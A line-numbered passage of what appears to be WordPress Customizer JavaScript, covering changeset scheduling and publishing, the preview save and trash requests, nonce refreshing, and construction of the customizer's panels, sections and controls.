7257 updateSectionActive = function() {
7258 section.active.set( isSectionActive() );
7259 };
7260 api.state( 'activated' ).bind( updateSectionActive );
7261 api.state( 'trashing' ).bind( updateSectionActive );
7262 api.state( 'saved' ).bind( updateSectionActive );
7263 api.state( 'changesetStatus' ).bind( updateSectionActive );
7264 updateSectionActive();
7265
7266 // Bind visibility of the publish settings button to whether the section is active.
7267 updateButtonsState = function() {
7268 publishSettingsBtn.toggle( section.active.get() );
7269 saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
7270 };
7271 updateButtonsState();
7272 section.active.bind( updateButtonsState );
7273
7274 function highlightScheduleButton() {
7275 if ( ! cancelScheduleButtonReminder ) {
7276 cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
7277 delay: 1000,
7278
7279 /*
7280 * Only abort the reminder when the save button is focused.
7281 * If the user clicks the settings button to toggle the
7282 * settings closed, we'll still remind them.
7283 */
7284 focusTarget: saveBtn
7285 } );
7286 }
7287 }
7288 function cancelHighlightScheduleButton() {
7289 if ( cancelScheduleButtonReminder ) {
7290 cancelScheduleButtonReminder();
7291 cancelScheduleButtonReminder = null;
7292 }
7293 }
7294 api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );
7295
7296 section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
7297 section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
7298 publishSettingsBtn.prop( 'disabled', false );
7299
7300 publishSettingsBtn.on( 'click', function( event ) {
7301 event.preventDefault();
7302 section.expanded.set( ! section.expanded.get() );
7303 } );
7304
7305 section.expanded.bind( function( isExpanded ) {
7306 var defaultChangesetStatus;
7307 publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
7308 publishSettingsBtn.toggleClass( 'active', isExpanded );
7309
7310 if ( isExpanded ) {
7311 cancelHighlightScheduleButton();
7312 return;
7313 }
7314
7315 defaultChangesetStatus = api.state( 'changesetStatus' ).get();
7316 if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
7317 defaultChangesetStatus = 'publish';
7318 }
7319
7320 if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
7321 highlightScheduleButton();
7322 } else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
7323 highlightScheduleButton();
7324 }
7325 } );
7326
7327 statusControl = new api.Control( 'changeset_status', {
7328 priority: 10,
7329 type: 'radio',
7330 section: 'publish_settings',
7331 setting: api.state( 'selectedChangesetStatus' ),
7332 templateId: 'customize-selected-changeset-status-control',
7333 label: api.l10n.action,
7334 choices: api.settings.changeset.statusChoices
7335 } );
7336 api.control.add( statusControl );
7337
7338 dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
7339 priority: 20,
7340 section: 'publish_settings',
7341 setting: api.state( 'selectedChangesetDate' ),
7342 minYear: ( new Date() ).getFullYear(),
7343 allowPastDate: false,
7344 includeTime: true,
7345 twelveHourFormat: /a/i.test( api.settings.timeFormat ),
7346 description: api.l10n.scheduleDescription
7347 } );
7348 dateControl.notifications.alt = true;
7349 api.control.add( dateControl );
7350
7351 publishWhenTime = function() {
7352 api.state( 'selectedChangesetStatus' ).set( 'publish' );
7353 api.previewer.save();
7354 };
7355
7356 // Start countdown for when the dateTime arrives, or clear interval when it is .
7357 updateTimeArrivedPoller = function() {
7358 var shouldPoll = (
7359 'future' === api.state( 'changesetStatus' ).get() &&
7360 'future' === api.state( 'selectedChangesetStatus' ).get() &&
7361 api.state( 'changesetDate' ).get() &&
7362 api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
7363 api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
7364 );
7365
7366 if ( shouldPoll && ! pollInterval ) {
7367 pollInterval = setInterval( function() {
7368 var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
7369 api.state( 'remainingTimeToPublish' ).set( remainingTime );
7370 if ( remainingTime <= 0 ) {
7371 clearInterval( pollInterval );
7372 pollInterval = 0;
7373 publishWhenTime();
7374 }
7375 }, timeArrivedPollingInterval );
7376 } else if ( ! shouldPoll && pollInterval ) {
7377 clearInterval( pollInterval );
7378 pollInterval = 0;
7379 }
7380 };
7381
7382 api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
7383 api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
7384 api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
7385 api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
7386 updateTimeArrivedPoller();
7387
7388 // Ensure dateControl only appears when selected status is future.
7389 dateControl.active.validate = function() {
7390 return 'future' === api.state( 'selectedChangesetStatus' ).get();
7391 };
7392 toggleDateControl = function( value ) {
7393 dateControl.active.set( 'future' === value );
7394 };
7395 toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
7396 api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );
7397
7398 // Show notification on date control when status is future but it isn't a future date.
7399 api.state( 'saving' ).bind( function( isSaving ) {
7400 if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
7401 dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
7402 }
7403 } );
7404 } );
7405
7406 // Prevent the form from saving when enter is pressed on an input or select element.
7407 $('#customize-controls').on( 'keydown', function( e ) {
7408 var isEnter = ( 13 === e.which ),
7409 $el = $( e.target );
7410
7411 if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
7412 e.preventDefault();
7413 }
7414 });
7415
7416 // Expand/Collapse the main customizer customize info.
7417 $( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
7418 var section = $( this ).closest( '.accordion-section' ),
7419 content = section.find( '.customize-panel-description:first' );
7420
7421 if ( section.hasClass( 'cannot-expand' ) ) {
7422 return;
7423 }
7424
7425 if ( section.hasClass( 'open' ) ) {
7426 section.toggleClass( 'open' );
7427 content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
7428 content.trigger( 'toggled' );
7429 } );
7430 $( this ).attr( 'aria-expanded', false );
7431 } else {
7432 content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
7433 content.trigger( 'toggled' );
7434 } );
7435 section.toggleClass( 'open' );
7436 $( this ).attr( 'aria-expanded', true );
7437 }
7438 });
7439
7440 /**
7441 * Initialize Previewer
7442 *
7443 * @alias wp.customize.previewer
7444 */
7445 api.previewer = new api.Previewer({
7446 container: '#customize-preview',
7447 form: '#customize-controls',
7448 previewUrl: api.settings.url.preview,
7449 allowedUrls: api.settings.url.allowed
7450 },/** @lends wp.customize.previewer */{
7451
7452 nonce: api.settings.nonce,
7453
7454 /**
7455 * Build the query to send along with the Preview request.
7456 *
7457 * @since 3.4.0
7458 * @since 4.7.0 Added options param.
7459 * @access public
7460 *
7461 * @param {Object} [options] Options.
7462 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
7463 * @return {Object} Query vars.
7464 */
7465 query: function( options ) {
7466 var queryVars = {
7467 wp_customize: 'on',
7468 customize_theme: api.settings.theme.stylesheet,
7469 nonce: this.nonce.preview,
7470 customize_changeset_uuid: api.settings.changeset.uuid
7471 };
7472 if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
7473 queryVars.customize_autosaved = 'on';
7474 }
7475
7476 /*
7477 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
7478 * Changeset updates are differential and so it is a performance waste to send all of
7479 * the dirty settings with each update.
7480 */
7481 queryVars.customized = JSON.stringify( api.dirtyValues( {
7482 unsaved: options && options.excludeCustomizedSaved
7483 } ) );
7484
7485 return queryVars;
7486 },
7487
7488 /**
7489 * Save (and publish) the customizer changeset.
7490 *
7491 * Updates to the changeset are transactional. If any of the settings
7492 * are invalid then none of them will be written into the changeset.
7493 * A revision will be made for the changeset post if revisions support
7494 * has been added to the post type.
7495 *
7496 * @since 3.4.0
7497 * @since 4.7.0 Added args param and return value.
7498 *
7499 * @param {Object} [args] Args.
7500 * @param {string} [args.status=publish] Status.
7501 * @param {string} [args.date] Date, in local time in MySQL format.
7502 * @param {string} [args.title] Title
7503 * @return {jQuery.promise} Promise.
7504 */
7505 save: function( args ) {
7506 var previewer = this,
7507 deferred = $.Deferred(),
7508 changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
7509 selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
7510 processing = api.state( 'processing' ),
7511 submitWhenDoneProcessing,
7512 submit,
7513 modifiedWhileSaving = {},
7514 invalidSettings = [],
7515 invalidControls = [],
7516 invalidSettingLessControls = [];
7517
7518 if ( args && args.status ) {
7519 changesetStatus = args.status;
7520 }
7521
7522 if ( api.state( 'saving' ).get() ) {
7523 deferred.reject( 'already_saving' );
7524 deferred.promise();
7525 }
7526
7527 api.state( 'saving' ).set( true );
7528
7529 function captureSettingModifiedDuringSave( setting ) {
7530 modifiedWhileSaving[ setting.id ] = true;
7531 }
7532
7533 submit = function () {
7534 var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';
7535
7536 api.bind( 'change', captureSettingModifiedDuringSave );
7537 api.notifications.remove( errorCode );
7538
7539 /*
7540 * Block saving if there are any settings that are marked as
7541 * invalid from the client (not from the server). Focus on
7542 * the control.
7543 */
7544 api.each( function( setting ) {
7545 setting.notifications.each( function( notification ) {
7546 if ( 'error' === notification.type && ! notification.fromServer ) {
7547 invalidSettings.push( setting.id );
7548 if ( ! settingInvalidities[ setting.id ] ) {
7549 settingInvalidities[ setting.id ] = {};
7550 }
7551 settingInvalidities[ setting.id ][ notification.code ] = notification;
7552 }
7553 } );
7554 } );
7555
7556 // Find all invalid setting less controls with notification type error.
7557 api.control.each( function( control ) {
7558 if ( ! control.setting || ! control.setting.id && control.active.get() ) {
7559 control.notifications.each( function( notification ) {
7560 if ( 'error' === notification.type ) {
7561 invalidSettingLessControls.push( [ control ] );
7562 }
7563 } );
7564 }
7565 } );
7566
7567 invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
7568 if ( ! _.isEmpty( invalidControls ) ) {
7569
7570 invalidControls[0][0].focus();
7571 api.unbind( 'change', captureSettingModifiedDuringSave );
7572
7573 if ( invalidSettings.length ) {
7574 api.notifications.add( new api.Notification( errorCode, {
7575 message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
7576 type: 'error',
7577 dismissible: true,
7578 saveFailure: true
7579 } ) );
7580 }
7581
7582 deferred.rejectWith( previewer, [
7583 { setting_invalidities: settingInvalidities }
7584 ] );
7585 api.state( 'saving' ).set( false );
7586 return deferred.promise();
7587 }
7588
7589 /*
7590 * Note that excludeCustomizedSaved is intentionally false so that the entire
7591 * set of customized data will be included if bypassed changeset update.
7592 */
7593 query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
7594 nonce: previewer.nonce.save,
7595 customize_changeset_status: changesetStatus
7596 } );
7597
7598 if ( args && args.date ) {
7599 query.customize_changeset_date = args.date;
7600 } else if ( 'future' === changesetStatus && selectedChangesetDate ) {
7601 query.customize_changeset_date = selectedChangesetDate;
7602 }
7603
7604 if ( args && args.title ) {
7605 query.customize_changeset_title = args.title;
7606 }
7607
7608 // Allow plugins to modify the params included with the save request.
7609 api.trigger( 'save-request-params', query );
7610
7611 /*
7612 * Note that the dirty customized values will have already been set in the
7613 * changeset and so technically query.customized could be deleted. However,
7614 * it is remaining here to make sure that any settings that got updated
7615 * quietly which may have not triggered an update request will also get
7616 * included in the values that get saved to the changeset. This will ensure
7617 * that values that get injected via the saved event will be included in
7618 * the changeset. This also ensures that setting values that were invalid
7619 * will get re-validated, perhaps in the case of settings that are invalid
7620 * due to dependencies on other settings.
7621 */
7622 request = wp.ajax.post( 'customize_save', query );
7623 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
7624
7625 api.trigger( 'save', request );
7626
7627 request.always( function () {
7628 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
7629 api.state( 'saving' ).set( false );
7630 api.unbind( 'change', captureSettingModifiedDuringSave );
7631 } );
7632
7633 // Remove notifications that were added due to save failures.
7634 api.notifications.each( function( notification ) {
7635 if ( notification.saveFailure ) {
7636 api.notifications.remove( notification.code );
7637 }
7638 });
7639
7640 request.fail( function ( response ) {
7641 var notification, notificationArgs;
7642 notificationArgs = {
7643 type: 'error',
7644 dismissible: true,
7645 fromServer: true,
7646 saveFailure: true
7647 };
7648
7649 if ( '0' === response ) {
7650 response = 'not_logged_in';
7651 } else if ( '-1' === response ) {
7652 // Back-compat in case any other check_ajax_referer() call is dying.
7653 response = 'invalid_nonce';
7654 }
7655
7656 if ( 'invalid_nonce' === response ) {
7657 previewer.cheatin();
7658 } else if ( 'not_logged_in' === response ) {
7659 previewer.preview.iframe.hide();
7660 previewer.login().done( function() {
7661 previewer.save();
7662 previewer.preview.iframe.show();
7663 } );
7664 } else if ( response.code ) {
7665 if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
7666 api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
7667 } else if ( 'changeset_locked' !== response.code ) {
7668 notification = new api.Notification( response.code, _.extend( notificationArgs, {
7669 message: response.message
7670 } ) );
7671 }
7672 } else {
7673 notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
7674 message: api.l10n.unknownRequestFail
7675 } ) );
7676 }
7677
7678 if ( notification ) {
7679 api.notifications.add( notification );
7680 }
7681
7682 if ( response.setting_validities ) {
7683 api._handleSettingValidities( {
7684 settingValidities: response.setting_validities,
7685 focusInvalidControl: true
7686 } );
7687 }
7688
7689 deferred.rejectWith( previewer, [ response ] );
7690 api.trigger( 'error', response );
7691
7692 // Start a new changeset if the underlying changeset was published.
7693 if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
7694 api.settings.changeset.uuid = response.next_changeset_uuid;
7695 api.state( 'changesetStatus' ).set( '' );
7696 if ( api.settings.changeset.branching ) {
7697 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
7698 }
7699 api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
7700 }
7701 } );
7702
7703 request.done( function( response ) {
7704
7705 previewer.send( 'saved', response );
7706
7707 api.state( 'changesetStatus' ).set( response.changeset_status );
7708 if ( response.changeset_date ) {
7709 api.state( 'changesetDate' ).set( response.changeset_date );
7710 }
7711
7712 if ( 'publish' === response.changeset_status ) {
7713
7714 // Mark all published as clean if they haven't been modified during the request.
7715 api.each( function( setting ) {
7716 /*
7717 * Note that the setting revision will be undefined in the case of setting
7718 * values that are marked as dirty when the customizer is loaded, such as
7719 * when applying starter content. All other dirty settings will have an
7720 * associated revision due to their modification triggering a change event.
7721 */
7722 if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
7723 setting._dirty = false;
7724 }
7725 } );
7726
7727 api.state( 'changesetStatus' ).set( '' );
7728 api.settings.changeset.uuid = response.next_changeset_uuid;
7729 if ( api.settings.changeset.branching ) {
7730 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
7731 }
7732 }
7733
7734 // Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
7735 api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );
7736
7737 if ( response.setting_validities ) {
7738 api._handleSettingValidities( {
7739 settingValidities: response.setting_validities,
7740 focusInvalidControl: true
7741 } );
7742 }
7743
7744 deferred.resolveWith( previewer, [ response ] );
7745 api.trigger( 'saved', response );
7746
7747 // Restore the global dirty state if any settings were modified during save.
7748 if ( ! _.isEmpty( modifiedWhileSaving ) ) {
7749 api.state( 'saved' ).set( false );
7750 }
7751 } );
7752 };
7753
7754 if ( 0 === processing() ) {
7755 submit();
7756 } else {
7757 submitWhenDoneProcessing = function () {
7758 if ( 0 === processing() ) {
7759 api.state.unbind( 'change', submitWhenDoneProcessing );
7760 submit();
7761 }
7762 };
7763 api.state.bind( 'change', submitWhenDoneProcessing );
7764 }
7765
7766 return deferred.promise();
7767 },
7768
7769 /**
7770 * Trash the current changes.
7771 *
7772 * Revert the Customizer to its previously-published state.
7773 *
7774 * @since 4.9.0
7775 *
7776 * @return {jQuery.promise} Promise.
7777 */
7778 trash: function trash() {
7779 var request, success, fail;
7780
7781 api.state( 'trashing' ).set( true );
7782 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
7783
7784 request = wp.ajax.post( 'customize_trash', {
7785 customize_changeset_uuid: api.settings.changeset.uuid,
7786 nonce: api.settings.nonce.trash
7787 } );
7788 api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
7789 type: 'info',
7790 message: api.l10n.revertingChanges,
7791 loading: true
7792 } ) );
7793
7794 success = function() {
7795 var urlParser = document.createElement( 'a' ), queryParams;
7796
7797 api.state( 'changesetStatus' ).set( 'trash' );
7798 api.each( function( setting ) {
7799 setting._dirty = false;
7800 } );
7801 api.state( 'saved' ).set( true );
7802
7803 // Go back to Customizer without changeset.
7804 urlParser.href = location.href;
7805 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
7806 delete queryParams.changeset_uuid;
7807 queryParams['return'] = api.settings.url['return'];
7808 urlParser.search = $.param( queryParams );
7809 location.replace( urlParser.href );
7810 };
7811
7812 fail = function( code, message ) {
7813 var notificationCode = code || 'unknown_error';
7814 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
7815 api.state( 'trashing' ).set( false );
7816 api.notifications.remove( 'changeset_trashing' );
7817 api.notifications.add( new api.Notification( notificationCode, {
7818 message: message || api.l10n.unknownError,
7819 dismissible: true,
7820 type: 'error'
7821 } ) );
7822 };
7823
7824 request.done( function( response ) {
7825 success( response.message );
7826 } );
7827
7828 request.fail( function( response ) {
7829 var code = response.code || 'trashing_failed';
7830 if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
7831 success( response.message );
7832 } else {
7833 fail( code, response.message );
7834 }
7835 } );
7836 },
7837
7838 /**
7839 * Builds the front preview URL with the current state of customizer.
7840 *
7841 * @since 4.9.0
7842 *
7843 * @return {string} Preview URL.
7844 */
7845 getFrontendPreviewUrl: function() {
7846 var previewer = this, params, urlParser;
7847 urlParser = document.createElement( 'a' );
7848 urlParser.href = previewer.previewUrl.get();
7849 params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
7850
7851 if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
7852 params.customize_changeset_uuid = api.settings.changeset.uuid;
7853 }
7854 if ( ! api.state( 'activated' ).get() ) {
7855 params.customize_theme = api.settings.theme.stylesheet;
7856 }
7857
7858 urlParser.search = $.param( params );
7859 return urlParser.href;
7860 }
7861 });
7862
7863 // Ensure preview nonce is included with every customized request, to allow post data to be read.
7864 $.ajaxPrefilter( function injectPreviewNonce( options ) {
7865 if ( ! /wp_customize=on/.test( options.data ) ) {
7866 return;
7867 }
7868 options.data += '&' + $.param({
7869 customize_preview_nonce: api.settings.nonce.preview
7870 });
7871 });
7872
7873 // Refresh the nonces if the preview sends updated nonces over.
7874 api.previewer.bind( 'nonce', function( nonce ) {
7875 $.extend( this.nonce, nonce );
7876 });
7877
7878 // Refresh the nonces if login sends updated nonces over.
7879 api.bind( 'nonce-refresh', function( nonce ) {
7880 $.extend( api.settings.nonce, nonce );
7881 $.extend( api.previewer.nonce, nonce );
7882 api.previewer.send( 'nonce-refresh', nonce );
7883 });
7884
7885 // Create Settings.
7886 $.each( api.settings.settings, function( id, data ) {
7887 var Constructor = api.settingConstructor[ data.type ] || api.Setting;
7888 api.add( new Constructor( id, data.value, {
7889 transport: data.transport,
7890 previewer: api.previewer,
7891 dirty: !! data.dirty
7892 } ) );
7893 });
7894
7895 // Create Panels.
7896 $.each( api.settings.panels, function ( id, data ) {
7897 var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
7898 // Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
7899 options = _.extend( { params: data }, data );
7900 api.panel.add( new Constructor( id, options ) );
7901 });
7902
7903 // Create Sections.
7904 $.each( api.settings.sections, function ( id, data ) {
7905 var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
7906 // Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
7907 options = _.extend( { params: data }, data );
7908 api.section.add( new Constructor( id, options ) );
7909 });
7910
7911 // Create Controls.
7912 $.each( api.settings.controls, function( id, data ) {
7913 var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
7914 // Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
7915 options = _.extend( { params: data }, data );
7916 api.control.add( new Constructor( id, options ) );
7917 });
7918
7919 // Focus the autofocused element.
7920 _.each( [ 'panel', 'section', 'control' ], function( type ) {
7921 var id = api.settings.autofocus[ type ];
7922 if ( ! id ) {
7923 return;
7924 }
7925
7926 /*
7927 * Defer focus until:
7928 * 1. The panel, section, or control exists (especially for dynamically-created ones).
7929 * 2. The instance is embedded in the document (and so is focusable).
7930 * 3. The preview has finished loading so that the active states have been set.
7931 */
7932 api[ type ]( id, function( instance ) {
7933 instance.deferred.embedded.done( function() {
7934 api.previewer.deferred.active.done( function() {
7935 instance.focus();
7936 });
7937 });
7938 });
7939 });
7940
7941 api.bind( 'ready', api.reflowPaneContents );
7942 $( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
7943 var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
7944 values.bind( 'add', debouncedReflowPaneContents );
7945 values.bind( 'change', debouncedReflowPaneContents );
7946 values.bind( 'remove', debouncedReflowPaneContents );
7947 } );
7948
7949 // Set up global notifications area.
7950 api.bind( 'ready', function setUpGlobalNotificationsArea() {
7951 var sidebar, containerHeight, containerInitialTop;
7952 api.notifications.container = $( '#customize-notifications-area' );
7953
7954 api.notifications.bind( 'change', _.debounce( function() {
7955 api.notifications.render();
7956 } ) );
7957
7958 sidebar = $( '.wp-full-overlay-sidebar-content' );
7959 api.notifications.bind( 'rendered', function updateSidebarTop() {
7960 sidebar.css( 'top', '' );
7961 if ( 0 !== api.notifications.count() ) {
7962 containerHeight = api.notifications.container.outerHeight() + 1;
7963 containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
7964 sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
7965 }
7966 api.notifications.trigger( 'sidebarTopUpdated' );
7967 });
7968
7969 api.notifications.render();
7970 });
7971
7972 // Save and activated states.
7973 (function( state ) {
7974 var saved = state.instance( 'saved' ),
7975 saving = state.instance( 'saving' ),
7976 trashing = state.instance( 'trashing' ),
7977 activated = state.instance( 'activated' ),
7978 processing = state.instance( 'processing' ),
7979 paneVisible = state.instance( 'paneVisible' ),
7980 expandedPanel = state.instance( 'expandedPanel' ),
7981 expandedSection = state.instance( 'expandedSection' ),
7982 changesetStatus = state.instance( 'changesetStatus' ),
7983 selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
7984 changesetDate = state.instance( 'changesetDate' ),
7985 selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
7986 previewerAlive = state.instance( 'previewerAlive' ),
7987 editShortcutVisibility = state.instance( 'editShortcutVisibility' ),
7988 changesetLocked = state.instance( 'changesetLocked' ),
7989 populateChangesetUuidParam, defaultSelectedChangesetStatus;
7990
7991 state.bind( 'change', function() {
7992 var canSave;
7993
7994 if ( ! activated() ) {
7995 saveBtn.val( api.l10n.activate );
7996 closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
7997
7998 } else if ( '' === changesetStatus.get() && saved() ) {
7999 if ( api.settings.changeset.currentUserCanPublish ) {
8000 saveBtn.val( api.l10n.published );
8001 } else {
8002 saveBtn.val( api.l10n.saved );
8003 }
8004 closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );
8005
8006 } else {
8007 if ( 'draft' === selectedChangesetStatus() ) {
8008 if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
8009 saveBtn.val( api.l10n.draftSaved );
8010 } else {
8011 saveBtn.val( api.l10n.saveDraft );
8012 }
8013 } else if ( 'future' === selectedChangesetStatus() ) {
8014 if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
8015 if ( changesetDate.get() !== selectedChangesetDate.get() ) {
8016 saveBtn.val( api.l10n.schedule );
8017 } else {
8018 saveBtn.val( api.l10n.scheduled );
8019 }
8020 } else {
8021 saveBtn.val( api.l10n.schedule );
8022 }
8023 } else if ( api.settings.changeset.currentUserCanPublish ) {
8024 saveBtn.val( api.l10n.publish );
8025 }
8026 closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
8027 }
8028
8029 /*
8030 * Save (publish) button should be enabled if saving is not currently happening,
8031 * and if the theme is not active or the changeset exists but is not published.
8032 */
8033 canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );
8034
8035 saveBtn.prop( 'disabled', ! canSave );
8036 });
8037
8038 selectedChangesetStatus.validate = function( status ) {
8039 if ( '' === status || 'auto-draft' === status ) {
8040 return null;
8041 }
8042 return status;
8043 };
8044
8045 defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';
8046
8047 // Set default states.
8048 changesetStatus( api.settings.changeset.status );
8049 changesetLocked( Boolean( api.settings.changeset.lockUser ) );
8050 changesetDate( api.settings.changeset.publishDate );
8051 selectedChangesetDate( api.settings.changeset.publishDate );
8052 selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
8053 selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
8054 saved( true );
8055 if ( '' === changesetStatus() ) { // Handle case for loading starter content.
8056 api.each( function( setting ) {
8057 if ( setting._dirty ) {
8058 saved( false );
8059 }
8060 } );
8061 }
8062 saving( false );
8063 activated( api.settings.theme.active );
8064 processing( 0 );
8065 paneVisible( true );
8066 expandedPanel( false );
8067 expandedSection( false );
8068 previewerAlive( true );
8069 editShortcutVisibility( 'visible' );
8070
8071 api.bind( 'change', function() {
8072 if ( state( 'saved' ).get() ) {
8073 state( 'saved' ).set( false );
8074 }
8075 });
8076
8077 // Populate changeset UUID param when state becomes dirty.
8078 if ( api.settings.changeset.branching ) {
8079 saved.bind( function( isSaved ) {
8080 if ( ! isSaved ) {
8081 populateChangesetUuidParam( true );
8082 }
8083 });
8084 }
8085
8086 saving.bind( function( isSaving ) {
8087 body.toggleClass( 'saving', isSaving );
8088 } );
8089 trashing.bind( function( isTrashing ) {
8090 body.toggleClass( 'trashing', isTrashing );
8091 } );
8092
8093 api.bind( 'saved', function( response ) {
8094 state('saved').set( true );
8095 if ( 'publish' === response.changeset_status ) {
8096 state( 'activated' ).set( true );
8097 }
8098 });
8099
8100 activated.bind( function( to ) {
8101 if ( to ) {
8102 api.trigger( 'activated' );
8103 }
8104 });
8105
8106 /**
8107 * Populate URL with UUID via `history.replaceState()`.
8108 *
8109 * @since 4.7.0
8110 * @access private
8111 *
8112 * @param {boolean} isIncluded Is UUID included.
8113 * @return {void}
8114 */
8115 populateChangesetUuidParam = function( isIncluded ) {
8116 var urlParser, queryParams;
8117
8118 // Abort on IE9 which doesn't support history management.
8119 if ( ! history.replaceState ) {
8120 return;
8121 }
8122
8123 urlParser = document.createElement( 'a' );
8124 urlParser.href = location.href;
8125 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8126 if ( isIncluded ) {
8127 if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
8128 return;
8129 }
8130 queryParams.changeset_uuid = api.settings.changeset.uuid;
8131 } else {
8132 if ( ! queryParams.changeset_uuid ) {
8133 return;
8134 }
8135 delete queryParams.changeset_uuid;
8136 }
8137 urlParser.search = $.param( queryParams );
8138 history.replaceState( {}, document.title, urlParser.href );
8139 };
8140
8141 // Show changeset UUID in URL when in branching mode and there is a saved changeset.
8142 if ( api.settings.changeset.branching ) {
8143 changesetStatus.bind( function( newStatus ) {
8144 populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
8145 } );
8146 }
8147 }( api.state ) );
8148
8149 /**
8150 * Handles lock notice and take over request.
8151 *
8152 * @since 4.9.0
8153 */
8154 ( function checkAndDisplayLockNotice() {
8155
8156 var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{
8157
8158 /**
8159 * Template ID.
8160 *
8161 * @type {string}
8162 */
8163 templateId: 'customize-changeset-locked-notification',
8164
8165 /**
8166 * Lock user.
8167 *
8168 * @type {object}
8169 */
8170 lockUser: null,
8171
8172 /**
8173 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
8174 *
8175 * @constructs wp.customize~LockedNotification
8176 * @augments wp.customize.OverlayNotification
8177 *
8178 * @since 4.9.0
8179 *
8180 * @param {string} [code] - Code.
8181 * @param {Object} [params] - Params.
8182 */
8183 initialize: function( code, params ) {
8184 var notification = this, _code, _params;
8185 _code = code || 'changeset_locked';
8186 _params = _.extend(
8187 {
8188 message: '',
8189 type: 'warning',
8190 containerClasses: '',
8191 lockUser: {}
8192 },
8193 params
8194 );
8195 _params.containerClasses += ' notification-changeset-locked';
